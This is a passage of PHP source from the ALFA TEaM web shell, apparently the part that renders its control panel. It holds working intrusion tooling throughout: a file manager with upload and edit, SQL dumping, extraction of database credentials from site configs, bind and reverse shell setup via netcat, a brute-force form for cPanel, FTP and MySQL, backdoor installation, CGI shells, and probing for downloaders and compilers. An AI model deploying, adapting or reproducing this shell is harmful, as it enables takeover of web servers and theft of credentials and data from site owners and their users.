  1083. echo "<script type='text/javascript'>var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';var a_ = '" . htmlspecialchars(@$_POST['a']) . "';var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';var alfa1_ = '" . ((strpos(@$_POST['alfa1'], "\n") !== false) ? '' : htmlspecialchars($_POST['alfa1'], ENT_QUOTES)) . "';var alfa2_ = '" . ((strpos(@$_POST['alfa2'], "\n") !== false) ? '' : htmlspecialchars($_POST['alfa2'], ENT_QUOTES)) . "';var alfa3_ = '" . ((strpos(@$_POST['alfa3'], "\n") !== false) ? '' : htmlspecialchars($_POST['alfa3'], ENT_QUOTES)) . "';var alfa4_ = '" . ((strpos(@$_POST['alfa4'], "\n") !== false) ? '' : htmlspecialchars($_POST['alfa4'], ENT_QUOTES)) . "';var alfa5_ = '" . ((strpos(@$_POST['alfa5'], "\n") !== false) ? '' : htmlspecialchars($_POST['alfa5'], ENT_QUOTES)) . "';var alfa6_ = '" . ((strpos(@$_POST['alfa6'], "\n") !== false) ? '' : htmlspecialchars($_POST['alfa6'], ENT_QUOTES)) . "';var alfa7_ = '" . ((strpos(@$_POST['alfa7'], "\n") !== false) ? '' : htmlspecialchars($_POST['alfa7'], ENT_QUOTES)) . "';var alfa8_ = '" . ((strpos(@$_POST['alfa8'], "\n") !== false) ? '' : htmlspecialchars($_POST['alfa8'], ENT_QUOTES)) . "';var alfa9_ = '" . ((strpos(@$_POST['alfa9'], "\n") !== false) ? '' : htmlspecialchars($_POST['alfa9'], ENT_QUOTES)) . "';var alfa10_ = '" . ((strpos(@$_POST['alfa10'], "\n") !== false) ? '' : htmlspecialchars($_POST['alfa10'], ENT_QUOTES)) . "';var d = document;var mysql_cache = {};var editor_files = {};var editor_error = true;var editor_current_file = '';var is_minimized = false;var cgi_is_minimized = false;var cgi_lang = '';var upcount = 1;var islinux = " . ($GLOBALS['sys'] != "win" ? 'true' : 'false') . ";var post_encryption_mode = " . (__ALFA_POST_ENCRYPTION__ ? 'true' : 'false') . ";function set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset) {if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;";
  1084. for ($j = 1; $j <= 10; $j++) {
  1085. echo 'if(alfa' . $j . '!=null)d.mf.alfa' . $j . '.value=alfa' . $j . ';else d.mf.alfa' . $j . '.value=alfa' . $j . '_;';
  1086. }
  1087. echo "if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;}";
  1088. echo 'function fc(a){alfaloader("block");var b="a="+alfab64("FilesMan")+"&c="+alfab64(a.c.value)+"&alfa1="+alfab64(a.alfa1.value)+"&ajax="+alfab64("true")+"&",c="";for(i=0;i<d.files.elements.length;i++)"checkbox"==d.files.elements[i].type&&d.files.elements[i].checked&&(c+="f[]="+alfab64(d.files.elements[i].value)+"&");_Ajax(d.URL,b+c,function(a){alfaloader("none")},!0)}function initDir(a){var b="",c="";islinux&&(b="<a class=\"header_pwd\" onclick=\"g(\'FilesMan\',\'/\');\" href=\'javascript:void(0);\'>/</a>",c="/");var e=a.split("/"),f="",g="";"-1"!=e.indexOf("..")&&(e.splice(e.indexOf("..")-1,1),e.splice(e.indexOf(".."),1));for(i in e)""!=e[i]&&(f+="<a onclick=\"g(\'FilesMan\',\'"+g+e[i]+"/\');\" href=\'javascript:void(0);\' class=\"header_pwd\">"+e[i]+"/</a>",g+=e[i]+"/");$("header_cwd").innerHTML=b+f+" ";var e=c+e.join("/");e=e.replace("//","/"),d.footer_form.c.value=e,$("footer_cwd").value=e,c_=e}function evalJS(html){var newElement=document.createElement("div");newElement.innerHTML=html;for(var scripts=newElement.getElementsByTagName("script"),i=0;i<scripts.length;++i){var script=scripts[i];eval(script.innerHTML)}}function _Ajax(a,b,c,e){var f=!1;return window.XMLHttpRequest?f=new XMLHttpRequest:window.ActiveXObject&&(f=new ActiveXObject("Microsoft.XMLHTTP")),f?(f.onreadystatechange=function(){4==f.readyState&&200==f.status&&("function"!=typeof c?d.getElementsByClassName("ajaxarea")[0].innerHTML=f.responseText:e?(d.getElementsByClassName("ajaxarea")[0].innerHTML=f.responseText,c(f.responseText)):c(f.responseText))},f.open("POST",a,!0),f.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),f.send(b),void 0):void alert("Error !")}function handleup(a,b){var c="__fnameup";0!=b&&(c="__fnameup"+b),a.files[0].name&&($(c).innerHTML=a.files[0].name)}function u(a){alfaloader("block");a.submit.disabled=true;var av = a.a.value,cv = a.c.value,alv = a.alfa1.value,cha = a.charset.value;var b=!1;if(a.a.value=alfab64(a.a.value),a.c.value=alfab64(a.c.value),a.alfa1.value=alfab64(a.alfa1.value),a.charset.value=alfab64(a.charset.value),window.XMLHttpRequest?b=new XMLHttpRequest:window.ActiveXObject&&(b=new ActiveXObject("Microsoft.XMLHTTP")),b){var c=$("up_bar");b.upload&&(c.style.display="block",b.upload.onprogress=function(a){var b=a.position||a.loaded,d=a.totalSize||a.total,e=Math.floor(b/d*1e3)/10+"%";c.style.width=e}),b.onload=function(e){for(200===b.status?(_Ajax(d.URL,"a="+alfab64("FilesMan")+"&c="+a.c.value+"&ajax="+alfab64("true")),c.style.display="none",a.a.value=av,a.c.value=cv,a.alfa1.value=alv,a.charset.value=cha):alert("An error occurred!"),$("footerup").value="",$("__fnameup").innerHTML="";upcount;){var f=$("pfooterup_"+upcount);f&&f.parentNode.removeChild(f),upcount--}0==upcount&&upcount++,alfaloader("none"),a.submit.disabled=false},b.onerror=function(a){};var e=new FormData(a);b.open("POST",d.URL),b.send(e)}}function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset){set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset),"GetConfig"!=a&&"download"!=alfa2&&(d.getElementsByClassName("ajaxarea")[0].innerHTML=\'<center><br /><img id="alfaloader" src="' . __showicon('loader') . '"></img><br /><br /></center>\'),islinux&&"/"!=d.mf.c.value.substr(0,1)&&(d.mf.c.value="/"+d.mf.c.value);for(var data="a="+alfab64(a)+"&c="+alfab64(d.mf.c.value)+"&",i=1;i<=10;i++)data+="alfa"+i+"="+alfab64(eval("d.mf.alfa"+i+".value"))+"&";if(data+="&ajax="+alfab64("true"),"FilesTools"==a&&"download"==alfa2){var dl=$("dlForm");return dl.a.value=alfab64("dlfile"),dl.c.value=alfab64(d.mf.c.value),dl.file.value=alfab64(alfa1),void dl.submit()}"GetConfig"!=a?(_Ajax(d.URL,data),c!=c_&&c&&initDir(c)):(alfaloader("block"),_Ajax(d.URL,data,function(a){try{a=JSON.parse(a),a.host&&a.user&&a.dbname&&($("db_host")&&($("db_host").value=a.host),$("db_user")&&($("db_user").value=a.user),$("db_name")&&($("db_name").value=a.dbname),$("db_pw")&&($("db_pw").value=a.password),$("db_prefix")&&a.prefix&&($("db_prefix").value=a.prefix),$("cc_encryption_hash")&&a.cc_encryption_hash&&($("cc_encryption_hash").value=a.cc_encryption_hash))}catch(a){}alfaloader("none")}))}function alfaloader(a){$("a_loader").style.display=a}function fsu(a){alfaloader("block");for(var b={},c=0;c<a.elements.length;c++)"submit"!=a.elements[c].type&&(b[a.elements[c].name]=a.elements[c].value);for(c in mysql_cache)mysql_cache[c]=alfab64(mysql_cache[c]);_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64("update")+"&alfa2="+alfab64(JSON.stringify(b))+"&c="+alfab64(c_)+"&charset="+mysql_cache.charset+"&type="+mysql_cache.type+"&sql_host="+mysql_cache.host+"&sql_login="+mysql_cache.user+"&sql_pass="+mysql_cache.pass+"&sql_base="+mysql_cache.db+"&sql_count="+mysql_cache.count+"&ajax="+alfab64("true"),function(a){evalJS(a),alfaloader("none")},!0)}function fs(f,e){alfaloader("block");var alfa1="query",alfa2=f.query?alfab64(f.query.value):"",host=f.sql_host?f.sql_host.value:mysql_cache.host,user=f.sql_login?f.sql_login.value:mysql_cache.user,pass=f.sql_pass?f.sql_pass.value:mysql_cache.pass,db=f.sql_base?f.sql_base.value:mysql_cache.db,type=f.type?f.type.value:mysql_cache.type,charset=f.charset?f.charset.value:mysql_cache.charset,count="";switch(count=f.sql_count?f.sql_count.checked?"true":"":mysql_cache.count,f){case"0":alfa1="select",alfa2=alfab64(e);break;case"1":e=eval(e),alfa1="select",alfa2=alfab64(e[0])+"&alfa3="+alfab64(e[1]);break;case"2":e=eval(e),alfa1="edit",alfa2=alfab64(db)+"&alfa3="+alfab64(e.join(":"));break;case"3":alfa1="loadfile",alfa2=alfab64(e);break;case"4":case"5":alfa1=(f=="4"?"dumpfile":"droptbl");var obj={},id=$("dumpfile");for(obj.file=id?id.value:"dump.sql",obj.tbl=[],i=0;i<d.sf.elements["tbl[]"].length;++i)d.sf.elements["tbl[]"][i].checked&&obj.tbl.push(d.sf.elements["tbl[]"][i].value);alfa2=alfab64(JSON.stringify(obj))}_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64(alfa1)+"&alfa2="+alfa2+"&c="+alfab64(c_)+"&charset="+alfab64(charset)+"&type="+alfab64(type)+"&sql_host="+alfab64(host)+"&sql_login="+alfab64(user)+"&sql_pass="+alfab64(pass)+"&sql_base="+alfab64(db)+"&sql_count="+alfab64(count)+"&ajax="+alfab64("true"),function(a){evalJS(a),alfaloader("none")},!0)}function ctlbc(a){var b=$("bcStatus"),c=$("bcipAction");"bind"==a.value?(c.style.display="none",b.innerHTML="<small>Press ` <font color=\'red\'>>></font> ` button and run ` <font color=\'red\'>nc server_ip port</font> ` on your computer</small>"):(c.style.display="inline-block",b.innerHTML="<small>Run ` <font color=\'red\'>nc -l -v -p port</font> ` on your computer and press ` <font color=\'red\'>>></font> ` button</small>")}function is(){for(i=0;i<d.sf.elements["tbl[]"].length;++i)d.sf.elements["tbl[]"][i].checked=!d.sf.elements["tbl[]"][i].checked}function $(a){return d.getElementById(a)}function addnewup(){var a="footerup_"+upcount,b="pfooterup_"+upcount,c=1!=upcount?"pfooterup_"+(upcount-1):"pfooterup",e=d.createElement("p");e.innerHTML=\'<label class="inputfile" for="\'+a+\'"><span id="__fnameup\'+upcount+\'"></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id="\'+a+\'" type="file" name="f[]" onChange="handleup(this,\'+upcount+\');">\',e.id=b,e.appendAfter($(c)),upcount++}function alfa_searcher_tool(a){switch(a){case"all":case"dirs":_alfaSet(!0,"Disabled");break;case"files":_alfaSet(!1,"php")}}function _alfaSet(a,b){d.srch.ext.disabled=a,d.srch.ext.value=b}function dis_input(a){switch(a){case"phpmyadmin":bruteSet(!0,"Disabled","http://");break;case"direct":bruteSet(!1,"2222","http://");break;case"cp":bruteSet(!1,"2082","http://");break;case"ftp":bruteSet(!0,"Disabled","ftp://");break;case"mysql":bruteSet(!1,"3306","http://");break;case"ftpc":bruteSet(!1,"21","http://")}}function bruteSet(a,b,d){"21"!=b?c="localhost":c="ftp.example.com",$("port").disabled=a,$("port").value=b,$("target").value=c,$("protocol").value=d}Element.prototype.appendAfter=function(a){a.parentNode.insertBefore(this,a.nextSibling)};function inBackdoor(t){if(t.value=="my"){$("backdoor_textarea").style.display="block";}else{$("backdoor_textarea").style.display="none";}}function saveByKey(e){return!("s"==String.fromCharCode(e.which).toLowerCase()&&e.ctrlKey||19==e.which)||($("editor_edit_area").onsubmit(),e.preventDefault(),!1)}function setCookie(e,i,t){var l=new Date;l.setTime(l.getTime()+24*t*60*60*1e3);var o="expires="+l.toUTCString();document.cookie=e+"="+i+";"+o+";path=/"}function getCookie(e){var i=("; "+document.cookie).split("; "+e+"=");if(2==i.length)return i.pop().split(";").shift()}function editorClose(e){d.body.style.overflow="visible",elem=$(e),elem.setAttribute("class","editor-anim-close"),"editor"==e?is_minimized=!1:cgi_is_minimized=!1,setTimeout(function(){elem.removeAttribute("class"),elem.style.display="none"},1e3),d.body.style.overflow="visible"}function showEditor(e){$(e).setAttribute("class","editor-anim-show"),$(e+"-minimized").setAttribute("class","minimized-hide"),"editor"==e?(is_minimized=!1,cgi_is_minimized&&($("cgiloader-minimized").style.top="30%")):(cgi_is_minimized=!1,is_minimized&&($("editor-minimized").style.top="30%")),d.body.style.overflow="hidden"}function editorMinimize(e){$(e).setAttribute("class","editor-anim-minimize"),$(e+"-minimized").setAttribute("class","minimized-show"),"editor"==e?(is_minimized=!0,cgi_is_minimized?($("cgiloader-minimized").style.top="20%",$("editor-minimized").style.top="50%"):$("editor-minimized").style.top="30%"):(cgi_is_minimized=!0,is_minimized?($("cgiloader-minimized").style.top="20%",$("editor-minimized").style.top="50%"):$("cgiloader-minimized").style.top="30%"),d.body.style.overflow="visible"}function clearEditorHistory(){if(confirm("Are u Sure?"))for(var e in editor_files)e!=editor_current_file&&removeHistory(e)}function editor(e,i,t,l,o,a){if("dir"==a&&".."==e)return!1;if("download"==i)return g("FilesTools",l,e,"download"),!1;var r="",n="",s="",f=d.mf.c.value,c=!0;if(e=e.trim(),0==Object.keys(editor_files).length){var m=getCookie("alfa_history_files");try{editor_files=JSON.parse(m);for(var u in editor_files)insertToHistory(u,editor_files[u].file,0,editor_files[u].type)}catch(e){}}if(-1!=e.indexOf("/")){var p=e.split("/");e=p[p.length-1],delete p[p.length-1],f=p.join("/"),islinux&&(f="/"+f)}void 0===a&&(a=""),void 0!==l&&null!=l&&0!=l.length&&(f=l.trim());try{for(var v in editor_files)if(editor_files[v].file==decodeURIComponent(e)&&editor_files[v].pwd.replace(/\//g,"")==f.replace(/\//g,"")){c=!1,o=v;break}}catch(e){console.log(e)}if(editor_error=!0,void 0!==t&&0!=t.length&&null!=t&&(r=alfab64(t)),void 0!==o&&null!=o&&0!=o.length)n=alfab64(o),s=o;else{var _="file_"+getRandom(10);n=alfab64(_),s=_}return alfaloader("block"),_Ajax(d.URL,"a="+alfab64("FilesTools")+"&c="+alfab64(f)+"&alfa1="+alfab64(e)+"&alfa2="+alfab64(i)+"&alfa3="+r+"&alfa4="+n+"&alfa5=&alfa6=&alfa7=&alfa8=&alfa9=&alfa10=&&ajax="+alfab64("true"),function(t){if(document.querySelector(".editor-content").innerHTML=t,$("editor").style.display="block",alfaloader("none"),evalJS(t),"delete"!=i&&editor_error){var l=d.getElementsByClassName("is_active");0!=l.length&&(l[0].className="file-holder"),n=s,e=decodeURIComponent(e),!editor_files[n]&&c?(editor_files[n]={file:e,pwd:f,type:a},insertToHistory(n,e," is_active",a),"mkfile"==i&&g("FilesMan",null)):$(n).parentNode.className+=" is_active"}d.body.style.overflow="hidden",d.getElementsByClassName("filestools")[0].setAttribute("fid",n),editor_files[n]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[n].pwd+"/"+editor_files[n].file).replace(/\/\//g,"/")),editor_current_file=n,is_minimized&&showEditor("editor"),updateCookieEditor()}),!1}function insertToHistory(e,i,t,l){var o="";t&&0!=t&&(o=t);var a=document.createElement("div");a.innerHTML="<div id=\'"+e+"\' class=\'history\' onClick=\'reopen(this);\'><div class=\'editor-icon\'>"+loadType(i,l,e)+"</div><div class=\'editor-file-name\'>"+i+"</div></div><div class=\'history-close\' onClick=\'removeHistory(\""+e+"\");\'>X</div>",a.className="file-holder"+o,a.addEventListener("mouseover",function(){setEditorTitle(e,"over"),this.childNodes[1].style.opacity="1"}),a.addEventListener("mouseout",function(){setEditorTitle(e,"out"),this.childNodes[1].style.opacity="0"});var r=d.getElementsByClassName("history-list")[0];r.insertBefore(a,r.firstChild)}function loadType(e,i,t){"none"==i&&_Ajax(d.URL,"a="+alfab64("checkfiletype")+"&path="+alfab64(editor_files[t].pwd)+"&arg="+alfab64(editor_files[t].file),function(e){$(t).innerHTML="<div class=\'editor-icon\'>"+loadType(editor_files[t].file,e,t)+"</div><div class=\'editor-file-name\'>"+editor_files[t].file+"</div>",editor_files[t].type=e});return"file"==i?(i=(i=e.split("."))[i.length-1].toLowerCase(),-1==["json","ppt","pptx","xls","xlsx","msi","config","cgi","pm","c","cpp","cs","java","aspx","asp","db","ttf","eot","woff","woff2","woff","conf","log","apk","cab","bz2","tgz","dmg","izo","jar","7z","iso","rar","bat","sh","alfa","gz","tar","php","php4","php5","phtml","html","xhtml","shtml","htm","zip","png","jpg","jpeg","gif","bmp","ico","txt","js","rb","py","xml","css","sql","htaccess","pl","ini","dll","exe","mp3","mp4","m4a","mov","flv","swf","mkv","avi","wmv","mpg","mpeg","dat","pdf","3gp","doc","docx","docm"].indexOf(i)&&(i="notfound")):i="folder",\'<img src="http://solevisible.com/icons/{type}" width="30" height="30">\'.replace("{type}",i+".png")}function updateDirsEditor(e,i){var t=d.mf.c.value+"/",l=editor_files[e].pwd+"/"+i+"/",o=editor_files[e].pwd+"/"+editor_files[e].file+"/";l=l.replace(/\/\//g,"/"),o=o.replace(/\/\//g,"/"),-1!=(t=t.replace(/\/\//g,"/")).search(l)&&(initDir(t.replace(l,o)),d.mf.c.value=t.replace(l,o),_Ajax(d.URL,"a="+alfab64("updatepath")+"&path="+alfab64(d.mf.c.value),function(e){console.log(e)}));for(var a in editor_files){var r=editor_files[a].pwd+"/";-1!=(r=r.replace(/\/\//g,"/")).search(l)&&(editor_files[a].pwd=r.replace(l,o))}var n=new RegExp("\'"+l.slice(0,-1)+"\'"),s=new RegExp(i+" \\\|</b></a>");d.files.innerHTML=d.files.innerHTML.replace(n,"\'"+o.slice(0,-1)+"\'"),d.files.innerHTML=d.files.innerHTML.replace(s,editor_files[e].file+" |</b></a>"),updateCookieEditor()}function updateCookieEditor(){setCookie("alfa_history_files",JSON.stringify(editor_files),2012)}function setEditorTitle(e,i){"out"==i&&""!=editor_current_file&&(e=editor_current_file),editor_files[e]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[e].pwd+"/"+editor_files[e].file).replace(/\/\//g,"/"))}function removeHistory(e){delete editor_files[e],$(e)&&$(e).parentNode.parentNode.removeChild($(e).parentNode);var i=d.getElementsByClassName("filestools")[0];i&&i.getAttribute("fid")==e&&(i.outerHTML=""),editor_current_file==e&&(editor_current_file=""),updateCookieEditor()}function getRandom(e){for(var i="",t="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",l=void 0===e?20:e;l>0;--l)i+=t[Math.floor(Math.random()*t.length)];return i}function reopen(e){var i=e.getAttribute("id"),t=editor_files[i].pwd;editor(editor_files[i].file,"auto","",t,i)}function copyToClipboard(e){document.getElementById(e);if(document.selection)(i=document.body.createTextRange()).moveToElementText(document.getElementById(e)),i.select(),document.execCommand("Copy"),alert("text copied");else if(window.getSelection()){var i=document.createRange();i.selectNode(document.getElementById(e)),window.getSelection().removeAllRanges(),window.getSelection().addRange(i),document.execCommand("copy"),alert("text copied")}}function encrypt(e,i){if(null==i||i.length<=0)return null;e=alfab64(e,!0),i=alfab64(i,!0);for(var t="",l="",o=0;o<e.length;)for(var a=0;a<i.length&&(t=e.charCodeAt(o)^i.charCodeAt(a),l+=String.fromCharCode(t),!(++o>=e.length));a++);return alfab64(l,!0)}function reloadSetting(e){return alfaloader("block"),_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(e.protect.value)+"&alfa2="+alfab64(e.lgpage.value)+"&alfa3="+alfab64(e.username.value)+"&alfa4="+alfab64(e.password.value)+"&alfa5="+alfab64(">>")+"&alfa6="+alfab64(e.icon.value)+"&alfa7="+alfab64(e.post_encrypt.value)+"&alfa8="+alfab64("main")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e){evalJS(e),alfaloader("none")},!0),0==e.e.value&&1==e.protect.value&&setTimeout("location.reload()",1e3),e.s.value!=e.icon.value&&setTimeout("location.reload()",1e3),!1}function reloadColors(e){var i={};void 0===e?d.querySelectorAll(".colors_input").forEach(function(e){var t=e.getAttribute("target").replace(".","");i[t]=e.value}):i=e,alfaloader("block");var t=$("use_default_color").checked?"1":"0";_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(JSON.stringify(i))+"&alfa2="+alfab64(">>")+"&alfa3="+alfab64(t)+"&alfa8="+alfab64("color")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e){alfaloader("none"),evalJS(e)},!0)}function alfab64(e,i){return void 0!==i||0==post_encryption_mode?window.btoa(unescape(encodeURIComponent(e))):encrypt(e,"' . _AlfaSecretKey() . '")}function evalCss(e){var i=document.createElement("style");i.styleSheet?i.styleSheet.cssText=e:i.appendChild(document.createTextNode(e)),d.getElementsByTagName("head")[0].appendChild(i)}function colorHandlerKey(e){setTimeout(function(i){colorHandler(e)},200)}function colorHandler(e){var t=e.getAttribute("target"),l=e.getAttribute("multi"),o=t.indexOf(":hover");if(l){var a=JSON.parse(atob(l)),r="";for(i in a.multi_selector)r+=i+"{"+a.multi_selector[i].replace(/{color}/g,e.value)+"}";evalCss(r)}-1==o||l?($("input_"+t.replace(".","")).value=e.value,$("gui_"+t.replace(".","")).value=e.value,".header_values"==t&&(t=".header,.header_values"),d.querySelectorAll(t).forEach(function(i){i.style.color=e.value})):($("input_"+t.replace(".","")).value=e.value,$("gui_"+t.replace(".","")).value=e.value,evalCss(t+"{color: "+e.value+";}"))}function importConfig(e){var i=e.target,t=new FileReader;t.onload=function(){var e=t.result;try{reloadColors(JSON.parse(e))}catch(e){alert("Config is invalid...!")}$("importFileBtn").value=""},t.readAsText(i.files[0])}function checkBox(){for(i=0;i<d.files.elements.length;i++)"checkbox"==d.files.elements[i].type&&(d.files.elements[i].checked=d.files.elements[0].checked)}function path_history(e){_Ajax(d.URL,"a="+alfab64("GetPathHistory")+"&ajax="+alfab64("true"),function(e){g("FilesMan",e)},!0)}function runcgi(e){if(cgi_is_minimized&&cgi_lang==e)return showEditor("cgiloader"),!1;_Ajax(d.URL,"a="+alfab64("cgishell")+"&alfa1="+alfab64(e)+"&ajax="+alfab64("true"),function(i){d.body.style.overflow="hidden",$("cgiloader").style.display="block",$("cgiframe").innerHTML=i,cgi_lang=e,cgi_is_minimized&&($("cgiloader-minimized").setAttribute("class","minimized-hide"),setTimeout(function(){$("cgiloader").removeAttribute("class"),is_minimized&&($("editor-minimized").style.top="30%")},1e3))})}';
  1089. echo "</script><form style='display:none;' id='dlForm' action='' target='_blank' method='post'><input type='hidden' name='a' value='dlfile'><input type='hidden' name='c' value=''><input type='hidden' name='file' value=''></form><input type='file' style='display:none;' id='importFileBtn' onchange='importConfig(event);'><img id='a_loader' src='" . __showicon('loader') . "'>";
  1090. $cmd_uname = alfaEx("uname -a", false, false);
  1091. $uname = function_exists('php_uname') ? substr(@php_uname(), 0, 120) : (strlen($cmd_uname) > 0 ? $cmd_uname : '( php_uname ) Function Disabled !');
  1092. if ($uname == "( php_uname ) Function Disabled !") {
  1093. $GLOBALS["need_to_update_header"] = "true";
  1094. }
  1095. echo '</head><body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"><div id="up_bar"></div><div class="whole"><form method="post" name="mf" style="display:none;"><input type="hidden" name="a"><input type="hidden" name="c" value="' . $GLOBALS['cwd'] . '">';
  1096. for ($s = 1; $s <= 10; $s++) {
  1097. echo '<input type="hidden" name="alfa' . $s . '">';
  1098. }
  1099. echo '<input type="hidden" name="charset"></form><div id=\'hidden_sh\'><a class="alert_green" target="_blank" href="?solevisible">Hidden Shell<br><small>Version: <span class="hidden_shell_version">' . __ALFA_VERSION__ . '</span></small></a></div><div class="header"><table width="100%" border="0"><tr><td width="3%"><span class="header_vars">Uname:</span></td><td colspan="2"><span class="header_values" id="header_uname">' . $uname . '</span></td></tr><tr><td><span class="header_vars">User:</span></td><td><span class="header_values" id="header_userid">' . $uid . ' [ ' . $user . ' ] </span><span class="header_vars"> Group: </span><span class="header_values" id="header_groupid">' . $gid . ' [ ' . $group . ' ]</span> </td><td width="12%" rowspan="8"><img style="border-radius:100px;" width="300" height="170" alt="" src="http://solevisible.com/images/alfa-iran.png" /></td></tr><tr><td><span class="header_vars">PHP:</span></td><td><b>' . @phpversion() . ' </b><span class="header_vars"> Safe Mode: ' . $safe_modes . '</span></td></tr><tr><td><span class="header_vars">ServerIP:</span></td><td><b>' . (!@$_SERVER["SERVER_ADDR"] ? (function_exists("gethostbyname") ? @gethostbyname($_SERVER['SERVER_NAME']) : '????') : @$_SERVER["SERVER_ADDR"]) . ' <span class="header_vars">Your IP:</span><b> ' . @$_SERVER["REMOTE_ADDR"] . '</b></td></tr><tr><td width="3%"><span class="header_vars">DateTime:</span></td><td colspan="2"><b>' . date('Y-m-d H:i:s') . '</b></td></tr><tr><td><span class="header_vars">Domains:</span></td><td width="76%"><span class="header_values" id="header_domains">';
  1100. if ($GLOBALS['sys'] == 'unix') {
  1101. $d0mains = _alfa_file("/etc/named.conf", false);
  1102. if (!$d0mains) {
  1103. echo "Cant Read [ /etc/named.conf ]";
  1104. $GLOBALS["need_to_update_header"] = "true";
  1105. } else {
  1106. $count = 0;
  1107. foreach ($d0mains as $d0main) {
  1108. if (@strstr($d0main, "zone")) {
  1109. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  1110. flush();
  1111. if (strlen(trim($domains[1][0])) > 2) {
  1112. flush();
  1113. $count++;
  1114. }
  1115. }
  1116. }
  1117. echo "$count Domains";
  1118. }
  1119. } else {
  1120. echo ("Cant Read [ /etc/named.conf ]");
  1121. }
  1122. echo '</span></td></tr><tr><td height="16"><span class="header_vars">HDD:</span></td><td><span class="header_vars">Total:</span><b>' . alfaSize($totalSpace) . ' </b><span class="header_vars">Free:</span><b>' . alfaSize($freeSpace) . ' [' . (int) ($freeSpace / $totalSpace * 100) . '%]</b></td></tr>';
  1123. if ($GLOBALS['sys'] == 'unix') {
  1124. $useful_downloader = '<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>';
  1125. if (!@ini_get('safe_mode')) {
  1126. if (strlen(alfaEx("id", false, false)) > 0) {
  1127. echo '<tr><td height="18" colspan="2"><span class="header_vars">Useful : </span>';
  1128. $userful = array(
  1129. 'gcc',
  1130. 'lcc',
  1131. 'cc',
  1132. 'ld',
  1133. 'make',
  1134. 'php',
  1135. 'perl',
  1136. 'python',
  1137. 'ruby',
  1138. 'tar',
  1139. 'gzip',
  1140. 'bzip',
  1141. 'bzialfa2',
  1142. 'nc',
  1143. 'locate',
  1144. 'suidperl'
  1145. );
  1146. $x = 0;
  1147. foreach ($userful as $item)
  1148. if (alfaWhich($item)) {
  1149. $x++;
  1150. echo '<span class="header_values" style="margin-left: 4px;">' . $item . '</span>';
  1151. }
  1152. if ($x == 0) {
  1153. echo "<span class='header_values' id='header_useful'>--------------</span>";
  1154. $GLOBALS["need_to_update_header"] = "true";
  1155. }
  1156. echo '</td></tr><tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span>';
  1157. $downloaders = array(
  1158. 'wget',
  1159. 'fetch',
  1160. 'lynx',
  1161. 'links',
  1162. 'curl',
  1163. 'get',
  1164. 'lwp-mirror'
  1165. );
  1166. $x = 0;
  1167. foreach ($downloaders as $item2)
  1168. if (alfaWhich($item2)) {
  1169. $x++;
  1170. echo '<span class="header_values" style="margin-left: 4px;">' . $item2 . '</span>';
  1171. }
  1172. if ($x == 0) {
  1173. echo "<span class='header_values' id='header_downloader'>--------------</span>";
  1174. $GLOBALS["need_to_update_header"] = "true";
  1175. }
  1176. echo '</td></tr>';
  1177. } else {
  1178. echo $useful_downloader;
  1179. $GLOBALS["need_to_update_header"] = "true";
  1180. }
  1181. } else {
  1182. echo $useful_downloader;
  1183. $GLOBALS["need_to_update_header"] = "true";
  1184. }
  1185. } else {
  1186. echo '<tr><td height="18" colspan="2"><span class="header_vars">Windows:</span><b>';
  1187. echo alfaEx('ver', false, false);
  1188. echo '</td></tr> <tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><b>-------------</b></td></tr></b>';
  1189. }
  1190. $quotes = (function_exists('get_magic_quotes_gpc') ? get_magic_quotes_gpc() : '0');
  1191. if ($quotes == "1" or $quotes == "on") {
  1192. $magic = '<b><span class="header_on">ON</span>';
  1193. } else {
  1194. $magic = '<span class="header_off">OFF</span>';
  1195. }
  1196. echo '<tr><td height="16" colspan="2"><span class="header_vars">Disable Functions: </span><b>' . Alfa_GetDisable_Function() . '</b></td></tr><tr><td height="16" colspan="2"><span class="header_vars">CURL :</span>' . $curl . ' | <span class="header_vars">SSH2 : </span>' . $ssh2 . ' | <span class="header_vars">Magic Quotes : </span>' . $magic . ' | <span class="header_vars"> MySQL :</span>' . $mysql . ' | <span class="header_vars">MSSQL :</span>' . $mssql . ' | <span class="header_vars"> PostgreSQL :</span>' . $pg . ' | <span class="header_vars"> Oracle :</span>' . $or . ' ' . ($GLOBALS['sys'] == "unix" ? '| <span class="header_vars"> CGI :</span> ' . $cgi_shell : "") . '</td><td width="15%"><center><a href="http://zone-h.org/archive/notifier=ALFA%20TEaM%202012" target="_blank"><span><font class="solevisible-text" color="#0F0">Sole Sad & Invisible</font></span></a></center></td></tr><tr><td height="11" colspan="3"><span class="header_vars">Open_basedir :</span><b>' . $open_b . '</b> | <span class="header_vars">Safe_mode_exec_dir :</span><b>' . $safe_exe . '</b> | <span class="header_vars"> Safe_mode_include_dir :</span></b>' . $safe_include . '</b></td></tr><tr><td height="11"><span class="header_vars">SoftWare: </span></td><td colspan="2"><b>' . @getenv('SERVER_SOFTWARE') . '</b></td></tr>';
  1197. if ($GLOBALS['sys'] == "win") {
